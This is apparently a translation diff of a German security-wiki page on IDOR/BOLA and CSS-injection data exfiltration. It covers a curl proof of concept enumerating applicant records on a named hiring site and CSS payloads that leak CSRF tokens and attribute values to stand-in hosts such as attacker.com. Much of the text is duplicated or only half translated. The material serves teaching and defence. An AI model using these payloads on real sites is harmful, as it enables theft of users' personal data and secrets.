* Body parameter: `{"lead_id": N}` – 8-stellig, **sequentieller** numerischer Bezeichner
|
||||
|
||||
Durch Verringern der `lead_id` konnte der Tester beliebige Bewerber vollständige **PII** (Name, e-mail, phone, address, shift preferences) abrufen sowie ein Consumer **JWT**, das Session-Hijacking ermöglichte. Die Enumeration des Bereichs `1 – 64,185,742` legte ungefähr **64 Millionen** Datensätze offen.
|
||||
Durch Verringern von `lead_id` konnte der Tester beliebige Bewerber abrufen und erhielt deren **full PII** (Name, E‑Mail, Telefon, Adresse, Schichtpräferenzen) sowie ein consumer **JWT**, das session hijacking ermöglichte. Die Enumeration des Bereichs `1 – 64,185,742` offenbarte ungefähr **64 Millionen** Datensätze.
|
||||
|
||||
Proof-of-Concept-Anfrage:
|
||||
Proof-of-Concept request:
|
||||
```bash
|
||||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Kombiniert mit **default admin credentials** (`123456:123456`), die Zugriff auf das Testkonto gewährten, führte die Schwachstelle zu einer kritischen, unternehmensweiten Datenpanne.
|
||||
In Kombination mit den **default admin credentials** (`123456:123456`), die Zugang zum Testkonto gewährten, führte die Schwachstelle zu einer kritischen, unternehmensweiten Datenpanne.
|
||||
|
||||
---
|
||||
## 3. Auswirkungen von IDOR / BOLA
|
||||
* Horizontale Eskalation – Lesen/Ändern/Löschen von **Daten anderer Benutzer**.
|
||||
* Vertikale Eskalation – ein niedrig privilegierter Benutzer erhält admin-exklusive Funktionalität.
|
||||
* Massen-Datenpanne, wenn Identifikatoren sequenziell sind (z. B. applicant IDs, invoices).
|
||||
* Account-Übernahme durch Stehlen von tokens oder Zurücksetzen der Passwörter anderer Benutzer.
|
||||
* Horizontale Eskalation – lesen/aktualisieren/löschen der **Daten anderer Benutzer**.
|
||||
* Vertikale Eskalation – ein niedrig privilegierter Benutzer erhält nur für Admins verfügbare Funktionen.
|
||||
* Massen-Datenpanne, wenn Bezeichner sequenziell sind (z. B. Bewerber-IDs, Rechnungen).
|
||||
* Account-Übernahme durch Stehlen von Tokens oder Zurücksetzen der Passwörter anderer Benutzer.
|
||||
|
||||
---
|
||||
## 4. Gegenmaßnahmen & Best Practices
|
||||
1. **Objektbasierte Autorisierung** auf jeder Anfrage erzwingen (`user_id == session.user`).
|
||||
2. Bevorzuge **indirekte, nicht erratbare Identifikatoren** (UUIDv4, ULID) statt Auto-Increment-IDs.
|
||||
3. Autorisierung **serverseitig** durchführen; niemals auf versteckte Formularfelder oder UI-Kontrollen vertrauen.
|
||||
4. RBAC / ABAC-Prüfungen in einer zentralen Middleware implementieren.
|
||||
5. **Rate-limiting & logging** hinzufügen, um eine Enumeration von IDs zu erkennen.
|
||||
6. Jeden neuen Endpoint sichern testen (Unit-, Integrations- und DAST-Tests).
|
||||
1. **Durchsetzen von objektbasierter Autorisierung** bei jeder Anfrage (`user_id == session.user`).
|
||||
2. Bevorzugen Sie **indirekte, nicht erratbare Identifikatoren** (UUIDv4, ULID) statt Auto-Increment-IDs.
|
||||
3. Führen Sie Autorisierung **serverseitig** durch; verlassen Sie sich niemals auf versteckte Formularfelder oder UI-Kontrollen.
|
||||
4. Implementieren Sie **RBAC / ABAC**-Prüfungen in einer zentralen Middleware.
|
||||
5. Fügen Sie **Rate-Limiting & Logging** hinzu, um ID-Enumeration zu erkennen.
|
||||
6. Sicherheitstest für jeden neuen Endpoint (Unit-, Integrations- und DAST-Tests).
|
||||
|
||||
---
|
||||
## 5. Tooling
|
||||
## 5. Tools
|
||||
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### Attribute Selector
|
||||
|
||||
CSS-Selektoren werden so erstellt, dass sie die Werte der `input`-Element-Attribute `name` und `value` abgleichen. Wenn das `value`-Attribut des `input`-Elements mit einem bestimmten Zeichen beginnt, wird eine vordefinierte externe Ressource geladen:
|
||||
CSS-Selektoren werden so konstruiert, dass sie die Werte der `name`- und `value`-Attribute eines `input`-Elements abgleichen. Beginnt das `value`-Attribut des `input`-Elements mit einem bestimmten Zeichen, wird eine vordefinierte externe Ressource geladen:
|
||||
```css
|
||||
input[name="csrf"][value^="a"] {
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
|
||||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
Allerdings stößt dieser Ansatz an eine Grenze, wenn es um versteckte Input-Elemente (`type="hidden"`) geht, da versteckte Elemente keine Hintergründe laden.
|
||||
Allerdings stößt dieser Ansatz bei versteckten input-Elementen (`type="hidden"`) an eine Einschränkung, da versteckte Elemente keine Hintergründe laden.
|
||||
|
||||
#### Umgehung für versteckte Elemente
|
||||
|
||||
Um diese Einschränkung zu umgehen, kannst du ein nachfolgendes Geschwisterelement mit dem allgemeinen Geschwisterkombinator `~` ansprechen. Die CSS-Regel gilt dann für alle Geschwister, die dem versteckten Input-Element folgen, wodurch das Hintergrundbild geladen wird:
|
||||
Um diese Einschränkung zu umgehen, kannst du ein nachfolgendes Geschwisterelement mithilfe des `~` general sibling combinator anvisieren. Die CSS-Regel gilt dann für alle Geschwister, die dem versteckten input-Element folgen, wodurch das Hintergrundbild geladen wird:
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
Ein praktisches Beispiel für die Ausnutzung dieser Technik ist im bereitgestellten Code-Snippet beschrieben. Sie können es [hier](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) ansehen.
|
||||
|
||||
#### Voraussetzungen für CSS Injection
|
||||
|
||||
For the CSS Injection technique to be effective, certain conditions must be met:
|
||||
Für die Wirksamkeit der CSS Injection müssen bestimmte Bedingungen erfüllt sein:
|
||||
|
||||
1. **Payload Length**: Der CSS Injection-Vektor muss ausreichend lange Payloads unterstützen, um die konstruierten Selektoren aufzunehmen.
|
||||
2. **CSS Re-evaluation**: Du solltest die Möglichkeit haben, die Seite zu framen, was notwendig ist, um die erneute Auswertung von CSS mit neu generierten Payloads auszulösen.
|
||||
3. **Externe Ressourcen**: Die Technik setzt voraus, dass extern gehostete Bilder verwendet werden können. Das kann durch die Content Security Policy (CSP) der Seite eingeschränkt sein.
|
||||
2. **CSS Re-evaluation**: Sie sollten die Möglichkeit haben, die Seite zu framen (einzubetten), was notwendig ist, um die Neuauswertung von CSS mit neu generierten Payloads auszulösen.
|
||||
3. **External Resources**: Die Technik setzt voraus, dass extern gehostete Bilder verwendet werden können. Dies kann jedoch durch die Content Security Policy (CSP) der Seite eingeschränkt sein.
|
||||
|
||||
### Blind Attribute Selector
|
||||
|
||||
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
|
||||
It's also possible to use those selectors to extract information from several block of the same type like in:
|
||||
Wie [**in diesem Beitrag erklärt**](https://portswigger.net/research/blind-css-exfiltration) ist es möglich, die Selektoren **`:has`** und **`:not`** zu kombinieren, um Inhalte selbst von blinden Elementen zu identifizieren. Dies ist sehr nützlich, wenn Sie keine Ahnung haben, was sich innerhalb der Webseite befindet, die die CSS Injection lädt.\
|
||||
Es ist außerdem möglich, diese Selektoren zu verwenden, um Informationen aus mehreren Blöcken desselben Typs zu extrahieren, wie in:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
@ -52,34 +52,34 @@ background: url(/m);
|
||||
<input name="mytoken" value="1337" />
|
||||
<input name="myname" value="gareth" />
|
||||
```
|
||||
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
Kombiniert man dies mit der folgenden **@import**-Technik, lässt sich eine große Menge an **Informationen mittels CSS-Injection aus blinden Seiten mit** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
Die vorherige Technik hat einige Nachteile — siehe die prerequisites. Entweder musst du in der Lage sein, **mehrere Links an das victim zu senden**, oder du musst die **iframe**-Fähigkeit für die CSS injection verwundbare Seite haben.
|
||||
Die vorherige Technik hat einige Nachteile, prüfe die Voraussetzungen. Entweder musst du in der Lage sein, dem Opfer **mehrere Links zu senden**, oder du musst die verwundbare Seite per **iframe** einbetten können.
|
||||
|
||||
Es gibt jedoch eine andere clevere Technik, die **CSS `@import`** verwendet, um die Qualität der Methode zu verbessern.
|
||||
Es gibt jedoch eine weitere clevere Technik, die **CSS `@import`** nutzt, um die Effektivität zu steigern.
|
||||
|
||||
Dies wurde zuerst von [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) gezeigt und funktioniert wie folgt:
|
||||
Dies wurde zuerst von [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) gezeigt und funktioniert so:
|
||||
|
||||
Anstatt dieselbe Seite immer wieder zu laden und jedes Mal dutzende verschiedene payloads einzusetzen (wie bei der vorherigen Methode), werden wir die Seite nur einmal laden und sie nur mit einem Import zum attackers server laden (das ist das payload, das an das victim gesendet wird):
|
||||
Anstatt dieselbe Seite immer wieder mit Dutzenden verschiedener payloads zu laden (wie bei der vorherigen Methode), werden wir die Seite nur einmal laden und sie lediglich mit einem import zum attackers server versehen (dies ist der payload, der an das Opfer gesendet werden soll):
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
1. Das Import wird **einige CSS-Skripte vom Angreifer erhalten** und der **Browser wird sie laden**.
|
||||
2. Der erste Teil des vom Angreifer gesendeten CSS-Skripts ist **ein weiteres `@import` zum Server des Angreifers.**
|
||||
1. Der Server des Angreifers wird auf diese Anfrage noch nicht antworten, da wir zuerst ein paar Zeichen leak-en und dann dieses import mit dem Payload beantworten wollen, um die nächsten zu leak-en.
|
||||
3. Der zweite und größere Teil des Payloads ist ein **Attribute-Selector-Leakage-Payload**
|
||||
1. Dies wird an den Server des Angreifers das **erste Zeichen des Secrets und das letzte** senden
|
||||
4. Sobald der Server des Angreifers das **erste und letzte Zeichen des Secrets** erhalten hat, wird er **das in Schritt 2 angeforderte import beantworten**.
|
||||
1. Die Antwort wird genau dieselbe Struktur wie **Schritte 2, 3 und 4** haben, aber dieses Mal wird versucht, **das zweite Zeichen des Secrets und dann das vorletzte** zu finden.
|
||||
1. The import is going to **receive some CSS script** from the attackers and the **browser will load it**.
|
||||
2. The first part of the CSS script the attacker will send is **another `@import` to the attackers server again.**
|
||||
1. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
|
||||
3. The second and bigger part of the payload is going to be an **attribute selector leakage payload**
|
||||
1. This will send to the attackers server the **first char of the secret and the last one**
|
||||
4. Once the attackers server has received the **first and last char of the secret**, it will **respond the import requested in the step 2**.
|
||||
1. The response is going to be exactly the same as the **steps 2, 3 and 4**, but this time it will try to **find the second char of the secret and then penultimate**.
|
||||
|
||||
Der Angreifer wird **dieser Schleife folgen, bis es ihm gelingt, das Secret vollständig zu leak-en**.
|
||||
Der Angreifer wird f**olge dieser Schleife, bis es ihm gelingt, das Secret vollständig zu leak**.
|
||||
|
||||
Du findest das Original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) oder du findest fast denselben [**same code but commented here**.](#css-injection)
|
||||
Du findest den ursprünglichen [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) oder du findest fast den [**same code but commented here**.](#css-injection)
|
||||
|
||||
> [!TIP]
|
||||
> Das Script wird versuchen, jedes Mal 2 Zeichen zu entdecken (vom Anfang und vom Ende), weil der Attribute-Selector Dinge wie erlaubt:
|
||||
> Das Script wird versuchen, jedes Mal 2 Zeichen zu entdecken (vom Anfang und vom Ende), weil der attribute selector Dinge wie Folgendes erlaubt:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= to match the beggining of the value*/
|
||||
@ -93,54 +93,54 @@ Du findest das Original [**Pepe Vila's code to exploit this here**](https://gist
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> Das erlaubt dem Script, das Secret schneller zu leak-en.
|
||||
> This allows the script to leak the secret faster.
|
||||
|
||||
> [!WARNING]
|
||||
> Manchmal erkennt das Script **nicht korrekt, dass das entdeckte Präfix + Suffix bereits die komplette flag ist** und es wird im Vorwärtsbereich (Präfix) und Rückwärtsbereich (Suffix) weiterlaufen und sich irgendwann aufhängen.\
|
||||
> Keine Sorge, überprüfe einfach die **Ausgabe**, denn **du kannst die flag dort sehen**.
|
||||
> Manchmal erkennt das Script **nicht korrekt, dass das entdeckte Prefix + Suffix bereits der komplette flag ist** und es wird weiter vorwärts (im Prefix) und rückwärts (im Suffix) weitermachen und irgendwann hängen bleiben.\
|
||||
> Keine Sorge, überprüfe einfach die **output**, denn **du kannst den flag dort sehen**.
|
||||
|
||||
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
|
||||
|
||||
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
|
||||
Dieses Primitive ermöglicht Exfiltration, indem nur das inline style-Attribut eines Elements verwendet wird, ohne Selektoren oder externe Stylesheets. Es beruht auf CSS custom properties, der attr()-Funktion zum Lesen von Attributen desselben Elements, den neuen CSS if()-Bedingungen für Verzweigungen und image-set(), um eine Netzwerk-Anfrage auszulösen, die den gematchten Wert enkodiert.
|
||||
|
||||
> [!WARNING]
|
||||
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
|
||||
> Gleichheitsvergleiche in if() erfordern doppelte Anführungszeichen für String-Literale. Einfache Anführungszeichen werden nicht matchen.
|
||||
|
||||
- Sink: kontrolliere das style-Attribut eines Elements und stelle sicher, dass das Zielattribut auf demselben Element ist (attr() liest nur Attributes desselben Elements).
|
||||
- Read: kopiere das Attribut in eine CSS-Variable: `--val: attr(title)`.
|
||||
- Decide: wähle eine URL mit verschachtelten Conditionals, die die Variable mit String-Kandidaten vergleichen: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: wende `background: image-set(var(--steal))` (oder eine andere fetchende Eigenschaft) an, um eine Anfrage an den gewählten Endpoint zu erzwingen.
|
||||
- Sink: Kontrolliere das style-Attribut eines Elements und stelle sicher, dass das Zielattribut am selben Element ist (attr() liest nur Attribute desselben Elements).
|
||||
- Read: Kopiere das Attribut in eine CSS-Variable: `--val: attr(title)`.
|
||||
- Decide: Wähle eine URL mithilfe verschachtelter Bedingungen, die die Variable mit String-Kandidaten vergleichen: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: Wende `background: image-set(var(--steal))` (oder jede Eigenschaft, die eine Anfrage auslöst) an, um eine Anfrage an den gewählten Endpunkt zu erzwingen.
|
||||
|
||||
Attempt (does not work; single quotes in comparison):
|
||||
```html
|
||||
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
|
||||
```
|
||||
Funktionierender Payload (für den Vergleich sind doppelte Anführungszeichen erforderlich):
|
||||
Funktionierender Payload (doppelte Anführungszeichen für den Vergleich erforderlich):
|
||||
```html
|
||||
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
|
||||
```
|
||||
Auflisten von Attributwerten mit verschachtelten Bedingungen:
|
||||
Aufzählen von Attributwerten mit verschachtelten Bedingungen:
|
||||
```html
|
||||
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
|
||||
```
|
||||
Realistische Demo (Benutzernamen abfragen):
|
||||
Realistische Demo (Abfragen von Benutzernamen):
|
||||
```html
|
||||
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
|
||||
```
|
||||
Hinweise und Einschränkungen:
|
||||
|
||||
- Funktioniert zum Zeitpunkt der Recherche in Chromium-basierten Browsern; das Verhalten kann in anderen Engines abweichen.
|
||||
- Am besten geeignet für endliche/aufzählbare Wertebereiche (IDs, flags, kurze Benutzernamen). Das Stehlen beliebig langer Zeichenketten ohne externe Stylesheets bleibt schwierig.
|
||||
- Am besten geeignet für endliche/aufzählbare Wertebereiche (IDs, flags, kurze Benutzernamen). Das Stehlen beliebig langer Strings ohne externe Stylesheets bleibt schwierig.
|
||||
- Jede CSS-Eigenschaft, die eine URL abruft, kann verwendet werden, um die Anfrage auszulösen (z. B. background/image-set, border-image, list-style, cursor, content).
|
||||
|
||||
Automatisierung: eine Burp Custom Action kann verschachtelte inline-style Payloads erzeugen, um Attributwerte per brute-force zu ermitteln: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
Automation: a Burp Custom Action kann verschachtelte Inline-Style-Payloads generieren, um Attributwerte per Brute-Force zu ermitteln: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
|
||||
### Andere Selektoren
|
||||
|
||||
Weitere Möglichkeiten, auf Teile des DOM mit **CSS selectors** zuzugreifen:
|
||||
Andere Möglichkeiten, auf Teile des DOM mit **CSS selectors** zuzugreifen:
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**: Sucht das zweite Element mit der Klasse "class-to-search" im DOM.
|
||||
- **`:empty`** selector: Wird zum Beispiel in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
- **`.class-to-search:nth-child(2)`**: Dies sucht das zweite Element mit der Klasse "class-to-search" im DOM.
|
||||
- **`:empty`** selector: Wird zum Beispiel in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)** verwendet:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty {
|
||||
@ -148,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
}
|
||||
```
|
||||
|
||||
### Fehlerbasierte XS-Search
|
||||
### Fehlerbasierter XS-Search
|
||||
|
||||
**Referenz:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
Das übergeordnete Ziel ist, **eine benutzerdefinierte Schriftart von einem kontrollierten Endpoint zu verwenden** und sicherzustellen, dass **Text (in diesem Fall 'A') nur mit dieser Schriftart angezeigt wird, wenn die angegebene Ressource (`favicon.ico`) nicht geladen werden kann**.
|
||||
Die grundlegende Absicht ist, eine custom font von einem kontrollierten Endpoint zu verwenden und sicherzustellen, dass Text (in diesem Fall 'A') mit dieser Font angezeigt wird, nur wenn die angegebene Ressource (favicon.ico) nicht geladen werden kann.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -174,23 +174,23 @@ font-family: "poc";
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
1. **Verwendung einer benutzerdefinierten Schriftart**:
|
||||
1. **Benutzung einer benutzerdefinierten Schriftart**:
|
||||
|
||||
- Eine benutzerdefinierte Schriftart wird mit der `@font-face`-Regel innerhalb eines `<style>`-Tags im `<head>`-Abschnitt definiert.
|
||||
- Die Schriftart heißt `poc` und wird von einem externen Endpunkt (`http://attacker.com/?leak`) geladen.
|
||||
- Die Eigenschaft `unicode-range` ist auf `U+0041` gesetzt und zielt auf das Unicode-Zeichen 'A' ab.
|
||||
- Eine benutzerdefinierte Schriftart wird mit der `@font-face`-Regel innerhalb eines `<style>`-Tags im `<head>`-Bereich definiert.
|
||||
- Die Schriftart heißt `poc` und wird von einem externen Endpoint (`http://attacker.com/?leak`) geladen.
|
||||
- Die Eigenschaft `unicode-range` ist auf `U+0041` gesetzt und zielt auf das konkrete Unicode-Zeichen 'A'.
|
||||
|
||||
2. **Object-Element mit Fallback-Text**:
|
||||
- Ein `<object>`-Element mit `id="poc0"` wird im `<body>`-Abschnitt erstellt. Dieses Element versucht, eine Ressource von `http://192.168.0.1/favicon.ico` zu laden.
|
||||
2. **<object>-Element mit Fallback-Text**:
|
||||
- Ein `<object>`-Element mit `id="poc0"` wird im `<body>`-Bereich erstellt. Dieses Element versucht, eine Ressource von `http://192.168.0.1/favicon.ico` zu laden.
|
||||
- Die `font-family` für dieses Element ist auf `'poc'` gesetzt, wie im `<style>`-Abschnitt definiert.
|
||||
- Wenn die Ressource (`favicon.ico`) nicht geladen werden kann, wird der Fallback-Inhalt (der Buchstabe 'A') innerhalb des `<object>`-Tags angezeigt.
|
||||
- Der Fallback-Inhalt ('A') wird mit der benutzerdefinierten Schriftart `poc` gerendert, falls die externe Ressource nicht geladen werden kann.
|
||||
|
||||
### Styling des Scroll-to-Text Fragment
|
||||
### Styling des Scroll-to-Text-Fragments
|
||||
|
||||
Die Pseudo-Klasse **`:target`** wird verwendet, um ein Element auszuwählen, das durch ein **URL fragment** angesprochen wird, wie in der [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) angegeben. Es ist wichtig zu verstehen, dass `::target-text` kein Element auswählt, sofern der Text nicht explizit durch das Fragment adressiert wird.
|
||||
Die **`:target`** Pseudo-Klasse wird verwendet, um ein Element auszuwählen, das von einem **URL fragment** angesprochen wird, wie in der [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) angegeben. Wichtig ist zu verstehen, dass `::target-text` keine Elemente auswählt, es sei denn, der Text wird durch das Fragment explizit anvisiert.
|
||||
|
||||
Ein Sicherheitsproblem entsteht, wenn Angreifer die **Scroll-to-text**-Fragment-Funktion ausnutzen, wodurch sie das Vorhandensein eines bestimmten Textes auf einer Webseite bestätigen können, indem sie durch HTML injection eine Ressource von ihrem Server laden. Die Methode beinhaltet das Injizieren einer CSS-Regel wie diese:
|
||||
Ein Sicherheitsproblem entsteht, wenn Angreifer das **Scroll-to-text**-Fragment-Feature ausnutzen, wodurch sie durch HTML-Injection das Vorhandensein bestimmten Texts auf einer Webseite bestätigen können, indem sie eine Ressource von ihrem Server laden. Die Methode beinhaltet das Injizieren einer CSS-Regel wie dieser:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
@ -200,23 +200,23 @@ In solchen Szenarien wird, wenn der Text "Administrator" auf der Seite vorhanden
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Hier manipuliert der Angriff HTML injection, um den CSS-Code zu übertragen, und zielt dabei mittels des Scroll-to-text fragment (`#:~:text=Administrator`) auf den spezifischen Text "Administrator". Wird der Text gefunden, wird die angegebene Ressource geladen und signalisiert unbeabsichtigt deren Präsenz dem Angreifer.
|
||||
Hier manipuliert der Angriff HTML injection, um den CSS-Code zu übertragen, und zielt dabei auf den spezifischen Text "Administrator" durch das Scroll-to-text fragment (`#:~:text=Administrator`). Wenn der Text gefunden wird, wird die angegebene Ressource geladen, wodurch unbeabsichtigt dem Angreifer ihre Anwesenheit signalisiert wird.
|
||||
|
||||
Zur Abmilderung sollten folgende Punkte beachtet werden:
|
||||
Zur Abmilderung sollten die folgenden Punkte beachtet werden:
|
||||
|
||||
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) ist so konzipiert, dass es nur Wörter oder Sätze abgleicht, wodurch seine Fähigkeit eingeschränkt ist, beliebige secrets oder tokens zu leaken.
|
||||
2. **Restriction to Top-level Browsing Contexts**: STTF funktioniert ausschließlich in top-level browsing contexts und nicht innerhalb von iframes, wodurch jeder Exploit-Versuch für den Nutzer auffälliger wird.
|
||||
3. **Necessity of User Activation**: STTF erfordert eine Benutzeraktivierungsgeste, um zu funktionieren, das heißt Ausnutzungen sind nur über vom Nutzer initiierte Navigationsvorgänge möglich. Diese Voraussetzung mindert erheblich das Risiko, dass Angriffe ohne Benutzerinteraktion automatisiert werden. Der Autor des Blogposts weist jedoch auf bestimmte Bedingungen und Bypässe hin (z. B. social engineering, Interaktion mit weit verbreiteten Browser-Erweiterungen), die die Automatisierung des Angriffs erleichtern könnten.
|
||||
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) ist so konzipiert, dass es nur Wörter oder Sätze abgleicht, wodurch die Möglichkeit, arbitrary secrets oder tokens zu leak, eingeschränkt ist.
|
||||
2. **Restriction to Top-level Browsing Contexts**: STTF funktioniert ausschließlich in Top-level-Browsing-Kontexten und nicht innerhalb von iframes, wodurch jeder Versuch der Ausnutzung für den Benutzer auffälliger wird.
|
||||
3. **Necessity of User Activation**: STTF erfordert eine user-activation-Geste, um zu funktionieren; das heißt, Exploitations sind nur durch vom Benutzer initiierte Navigationen möglich. Diese Anforderung mildert das Risiko, dass Angriffe automatisiert ohne Benutzerinteraktion ablaufen, erheblich. Dennoch weist der Autor des Blogposts auf bestimmte Bedingungen und bypasses hin (z. B. social engineering, Interaktion mit verbreiteten browser extensions), die die Automatisierung des Angriffs erleichtern könnten.
|
||||
|
||||
Bewusstsein für diese Mechanismen und potenzielle Schwachstellen ist entscheidend, um Web‑Sicherheit zu erhalten und sich gegen solche ausbeuterischen Taktiken zu schützen.
|
||||
Die Kenntnis dieser Mechanismen und potenziellen Schwachstellen ist entscheidend, um die Web-Sicherheit zu erhalten und sich gegen solche exploitative Taktiken zu schützen.
|
||||
|
||||
Für mehr Informationen siehe den Originalbericht: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Sie können sich einen [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb) ansehen.
|
||||
Du kannst einen [**exploit, der diese Technik in einem CTF verwendet, hier ansehen**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Sie können **externe Fonts für bestimmte Unicode‑Werte** angeben, die nur dann **geladen werden, wenn diese Unicode‑Werte auf der Seite vorhanden sind**. Zum Beispiel:
|
||||
Du kannst **externe Fonts für spezifische Unicode-Werte** angeben, die nur dann geladen werden, wenn diese Unicode-Werte auf der Seite vorhanden sind. Zum Beispiel:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -242,25 +242,25 @@ font-family: poc;
|
||||
<p id="sensitive-information">AB</p>
|
||||
htm
|
||||
```
|
||||
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
|
||||
Wenn Sie diese Seite aufrufen, holen Chrome und Firefox "?A" und "?B", weil der Textknoten von sensitive-information die Zeichen "A" und "B" enthält. Chrome und Firefox holen jedoch nicht "?C", weil er kein "C" enthält. Das bedeutet, dass wir "A" und "B" lesen konnten.
|
||||
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
**Referenz:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
Die beschriebene Technik beinhaltet das Extrahieren von Text aus einem Node durch Ausnutzen von font ligatures und das Überwachen von Breitenänderungen. Der Prozess umfasst mehrere Schritte:
|
||||
